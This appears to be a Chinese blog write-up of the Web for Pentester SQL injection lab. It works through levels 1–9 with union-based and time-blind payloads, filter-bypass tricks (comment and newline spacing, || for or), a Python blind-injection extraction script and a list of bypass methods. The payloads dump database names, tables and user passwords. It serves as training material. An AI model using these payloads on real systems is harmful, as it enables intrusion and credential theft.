IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> Web for Pentester SQL sql注入靶场 -> 正文阅读

[大数据]Web for Pentester SQL sql注入靶场

第一关(没有任何处理)

  1. 查看正常页面
    image-20220418232008287
  2. 查看异常页面
    image-20220418232008287
  3. 查看是否是数值型,发现不是,name=123 or 1=1%23
    image-20220418232008287
  4. 查看是否是单引号,name=123' or '1'='1'%23,发现确实是单引号
    image-20220418232008287
  5. 猜字段,发现是5,name=admin' order by 1,2,3,4,5 %23
    image-20220418232008287
  6. 查看回显位,发现是1,2,3,name=123' union select 1,2,3,4,5 %23
    image-20220418232008287
  7. 查看数据库名字、版本信息、路径,name=123' union select database(),version(),@@datadir,4,5 %23
    image-20220418232008287
  8. 查询所有数据库,name=123' union select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5 %23
    image-20220418232008287
  9. 查询所有表,name=123' union select (select group_concat(table_name)from information_schema.tables where database()=table_schema),2,3,4,5 %23
    image-20220418232008287
  10. 查询所有列,name=123' union select (select group_concat(column_name)from information_schema.columns where database()=table_schema and table_name='users'),2,3,4,5 %23
    image-20220418232008287
  11. 暴数据,name=123' union select (select group_concat('~',id,'~',name,'~',age,'~',groupid,'~',passwd)from exercises.users),2,3,4,5 %23
    image-20220418232008287

第二关(对空格处理)

  1. 查看正常的页面
    image-20220418232008287
  2. 查看异常的页面
    image-20220418232008287
  3. 查看name=admin",发现是异常的页面,推测双引号作为参数连接到一起的。
    image-20220418232008287
  4. 查看name=admin',发现不是异常也不是正常的页面,推测单引号应该是闭合作用的。
    image-20220418232008287
  5. 经过多次的检验,发现过滤了空格,因此没有办法直接使用or来进行连接,可以使用/*%0a*/来充当空格,还可以使用%0b来充当空格我这里使用的是name=admin'||'1'='1'%23,即使用||来代替or
    image-20220418232008287
  6. 猜字段,name=123'/*%0a*/order/*%0a*/by/*%0a*/1,2,3,4,5%23,发现5为正常而6为错误。
    image-20220418232008287
  7. 查看回显位,name=123'/*%0a*/union/*%0a*/select/*%0a*/1,2,3,4,5%23
    image-20220418232008287
  8. 查看数据库名字、版本、路径。name=123'/*%0a*/union/*%0a*/select/*%0a*/database(),version(),@@datadir,4,5%23
    image-20220418232008287
  9. 查看所有的数据库名字,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(schema_name)from(information_schema.schemata)),2,3,4,5%23
    image-20220418232008287
  10. 查看所有的表,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(table_name)from(information_schema.tables)where(database()=table_schema)),2,3,4,5%23
    image-20220418232008287
  11. 查看所有的列,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(column_name)from(information_schema.columns)where(database()=table_schema/*%0a*/and/*%0a*/table_name='users')),2,3,4,5%23
    image-20220418232008287
  12. 查看所有的数据,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat('id=',id,',name=',name,',age=',age,',groupod=',groupid,',passwd=',passwd)from(exercises.users)),2,3,4,5%23
    image-20220418232008287

第三关

  1. 查看正常的页面
    image-20220418232008287
  2. 查看异常的页面
    image-20220418232008287
  3. 根据直接在正常的页面参数后面加双引号,发现是异常页面,说明双引号是被作为参数连接到一起的;单引号则是第三种页面,说明是由单引号闭合的。
    双引号
    image-20220418232008287
    单引号
    image-20220418232008287
    也可以按照这种方法来进行验证,name=123'||'1'='1'%23
    image-20220418232008287
  4. 经过多次的尝试,发现/**/能够绕过,而/*%0a*/、%0b不能绕过,说明对制表符进行了处理。
    image-20220418232008287
  5. 暴表,name=123'/**/union/**/select/**/(select/**/group_concat(schema_name)from/**/information_schema.schemata),2,3,4,5%23
    image-20220418232008287
  6. 暴表,name=123'/**/union/**/select/**/(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/'exercises'=table_schema),2,3,4,5%23
    image-20220418232008287
  7. 暴列,name=123'/**/union/**/select/**/(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/'exercises'=table_schema/**/and/**/table_name='users'),2,3,4,5%23
    image-20220418232008287
  8. 暴数据,name=123'/**/union/**/select/**/(select/**/group_concat(id,name,age,groupid,passwd)from/**/exercises.users),2,3,4,5%23
    image-20220418232008287

第四关

  1. 正常的页面
    image-20220418232008287
  2. 错误的页面
    image-20220418232008287
  3. 输入单引号,发现是第三种页面
    image-20220418232008287
    输入双引号也发现是第三种页面,说明是数值型注入
    image-20220418232008287
    也可以按照id=0 or 1=1来验证是否是数值型注入,发现确实是数值型注入
    image-20220418232008287
  4. 经过多次的检查,发现字段是5,因为6时是错误的。id=0 order by 1,2,3,4,5
    image-20220418232008287
  5. 查看回显位,id=0 union select 1,2,3,4,5
    image-20220418232008287
  6. 暴数据库,id=0 union select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5
    image-20220418232008287
  7. 暴表,由于对单引号进行了处理,所以无法直接使用单引号,要考虑如何对单引号进行绕过,对数据库名字进行base64、ascii编码都不行,因此只能一个个来而不能指定但是由于这里指定的是数据库名,可以使用database()函数来代替id=0 union select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3,4,5
    image-20220418232008287
  8. 暴列,id=0 union select (select group_concat(column_name)from information_schema.columns where table_schema=database()),2,3,4,5
    image-20220418232008287
  9. 暴数据,id=0 union select (select group_concat(id,name,age,groupid,passwd)from exercises.users),2,3,4,5
    image-20220418232008287

第五关

第五关和第四关的攻击过程一模一样

第六关

第六关和第四关一模一样

第七关

  1. 查看正常的页面
    image-20220418232008287
  2. 查看异常的页面
    image-20220418232008287
  3. 输入单引号和双引号发现都是第三种的页面,因此说明不少字符型注入而是数值型。
    image-20220418232008287
  4. 经过多次的尝试,发现只有在%0a的情况下才能够进行注入攻击。id=0%0aor%0a1=1
    image-20220418232008287
  5. 猜字段,id=1%0aorder by 1,2,3,4,5
    image-20220418232008287
  6. 查看回显位,id=-1%0aunion select 1,2,3,4,5
    image-20220418232008287
  7. 查看所有的数据库名,id=-1%0aunion select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5
    image-20220418232008287
  8. 查看所有的表名,id=-1%0aunion select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3,4,5
    image-20220418232008287
  9. 查看指定表的所有列名,id=-1%0aunion select (select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),2,3,4,5
    image-20220418232008287
  10. 暴数据,id=-1%0aunion select (select group_concat(id,name,age,groupid,passwd)from exercises.users),2,3,4,5
    image-20220418232008287

第八关

  1. 查看正常的页面
    image-20220418232008287
  2. 查看异常的页面
    image-20220418232008287
  3. 根据该关卡的正常和异常可以发现,只有两种情况,并不像前七关一样,有三种页面,因此判断出改关卡不能进行联合注入。又因为没有错误返回信息,因此报错注入无法执行,只能使用盲注进行攻击。
  4. 经过多次的尝试,发现是反引号闭合的类型,order=id'%23
    image-20220418232008287
  5. 经过多次的猜测,发现数据库的名字长度是9,`order=id’ and if(length(database())=9,sleep(2),1) %23
    image-20220418232008287
  6. 猜数据库名字,order=id' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(2),0) %23,也可以指定特定的当前的数据库,order=id' and if(ascii(substr((select database() limit 0,1),2,1))=119,sleep(2),0)--+
  7. 猜表名,order=id' and if(ascii(substr((select table_name from information_schema.tables where database()=table_schema limit 0,1),1,1))=105,sleep(2),0) %23
  8. 猜列名,order=id' and if(ascii(substr((select column_name from information_schema.columns where database()=table_schema and tabe_name='users' limit 0,1),1,1))=105,sleep(2)
  9. 使用脚本
import requests  
import time  
url = 'http://172.16.12.131/sqli/example8.php?order=id`'#存在时间盲注漏洞的地址  
result=''  
print('test')  
database = 'select schema_name from information_schema.schemata'#多余的分号  
table = 'select table_name from information_schema.tables where table_schema = "database_name"'  
column = 'select column_name from information_schema.columns where table_name = "table_name"'  
for i in range(1,100):  
    for j in range(48,122):  
        payload=r' and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),0)--+'.format(database,i,j)  
        stime=time.time()  
        r=requests.get(url+payload)  
        print(r.url)  
        etime=time.time()  
        print(r.url)  
        if etime-stime>=2:  
            result+=chr(j)  
            print(result)  
            break

第九关

发现和第八关一样,只是没有了反引号闭合而已。

常见的绕过方法

  1. 双写绕过
  2. 大小写绕过
  3. 编码绕过,如:hex || URL
  4. 注释符绕过,如:/!select/
  5. 替换:如 and 可替换为 && ,or 可替换为 ||
  6. 空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代
  7. /*%0a*/强行制造空格,%09是table键也可以当成是空格,%20是空格,%0a是回车键。
  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-05-25 11:38:09  更:2022-05-25 11:39:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 20:41:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码